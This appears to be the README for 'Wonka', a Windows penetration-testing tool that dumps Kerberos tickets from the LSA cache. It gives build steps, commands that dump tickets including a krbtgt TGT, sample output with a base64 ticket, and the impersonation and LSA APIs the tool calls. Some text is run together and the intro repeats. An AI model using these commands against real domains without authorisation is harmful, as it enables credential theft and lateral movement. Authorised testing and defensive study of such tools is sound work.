
Wonka es una excelente herramienta de Windows que extrae tickets Kerberos de la caché de la Autoridad de Seguridad Local (LSA). Como encontrar un ticket, pero para investigación de seguridad y pruebas de penetración! 🎫
"Somos los creadores de música, y somos los soñadores de sueños." - Willy Wonka
Wonka es una dulce herramienta de Windows que extrae tickets Kerberos del caché de la Autoridad de Seguridad Local (LSA). ¡Como encontrar un ticket, pero para investigación de seguridad y pruebas de penetración! 🎫
Opción 1: Compilar un Ejecutable Único (Recomendado)
dotnet publish -c Release -r win-x64 --self-contained true /p:PublishSingleFile=true
Opción 2: Compilación Simple
dotnet build --configuration Release
.\Wonka.exe <list|dump> [/luid:<luid>] [/service:<name>]
Ejecutar
.\Wonka.exesin argumentos (o-h) muestra la ayuda — debes pasar explícitamentedumpolistpara hacer algo.
Wonka se adapta a los privilegios con los que se ejecuta:
/luidy/serviceson filtros solo de volcado; combinarlos conlistes rechazado.
# Show help (also shown when run with no arguments)
.\Wonka.exe -h
# Dump every accessible ticket (all sessions if elevated, otherwise just yours)
.\Wonka.exe dump
# Just enumerate who has tickets, without pulling the blobs (admin)
.\Wonka.exe list
# Pull a single krbtgt ticket (TGT) for one logon session
.\Wonka.exe dump /luid:0x3e7 /service:krbtgt
Starting Kerberos ticket extraction process...
[+] Running with administrative privileges
[+] Successfully impersonated as SYSTEM
[+] Logon sessions found: 15
[+] User: [email protected]
[+] LogonId: 0x3e7 | Tickets found: 3
-----------------------------------------------------------------------
Username = charlie.bucket
DnsDomainName = chocolate.factory
StartTime ---> 10/21/2025 10:30:15 AM
EndTime ---> 10/21/2025 8:30:15 PM
Server Name ---> krbtgt/CHOCOLATE.FACTORY
Ticket b64 ---> YIIFgjCCBX6gAwIBBaEDAgEWooIEhjCCBIJhggR+MII...
-----------------------------------------------------------------------
En el modo
listla salida es idéntica excepto que se omiten las líneasTicket b64/EncType— obtienes los metadatos sin el blob de ticket extraíble.
Wonka/
├── Program.cs # CLI parsing + ticket extraction logic
├── Winapi.cs # Windows API definitions
└── Wonka.csproj # Project file
OpenProcessToken / DuplicateTokenEx / ImpersonateLoggedOnUser / RevertToSelf - Impersonación SYSTEM (ruta de administrador)LsaRegisterLogonProcess - Registro LSA privilegiado (ruta de administrador)LsaConnectUntrusted - Conexión LSA no privilegiada para el usuario actual (ruta de usuario estándar)LsaEnumerateLogonSessions - Enumeración de sesionesLsaCallAuthenticationPackage - Comunicación KerberosElevado (Administrador):
LsaRegisterLogonProcess)/luid / /service)list)Usuario estándar:
LsaConnectUntrusted) — no se necesita impersonación{0,0})| Problema | Solución |
|---|---|
| "Could not impersonate as SYSTEM" | Ejecutar como Administrador (o como usuario estándar para volcar solo tus propios tickets) |
| "Could not initialize LSA" | Verificar compatibilidad con Windows |
| "No tickets found" | Asegurarse de que Kerberos esté en uso (klist) |
"Un poco de sinsentido de vez en cuando es saboreado por los hombres más sabios."
Esta herramienta es solo para investigación de seguridad autorizada y pruebas. ¡Como la fábrica de Wonka, entra solo con permiso! 🏭
Úsalo responsablemente:
Creado para profesionales de seguridad que necesitan extraer tickets Kerberos tan dulces como el chocolate de Wonka. Recuerda: un gran poder conlleva una gran responsabilidad.
"Así brilla una buena acción en un mundo cansado." 🌟
| Comando | Qué hace |
|---|
.\Wonka.exe (sin args) | Muestra la ayuda. |
.\Wonka.exe dump | Extrae tickets (base64) de cada sesión accesible. |
.\Wonka.exe list | Lista usuarios y solo metadatos de tickets — no se extrae base64. |
.\Wonka.exe dump /luid:<luid> | Vuelca solo la sesión con el LUID dado (hex 0x3e7 o decimal 999). |
.\Wonka.exe dump /service:<name> | Vuelca solo tickets cuyo nombre de servidor contenga <name> (ej. krbtgt, cifs/host.domain). |
.\Wonka.exe dump /luid:0x3e7 /service:krbtgt | Combina filtros para volcar un único ticket. |
.\Wonka.exe -h | Muestra la ayuda. |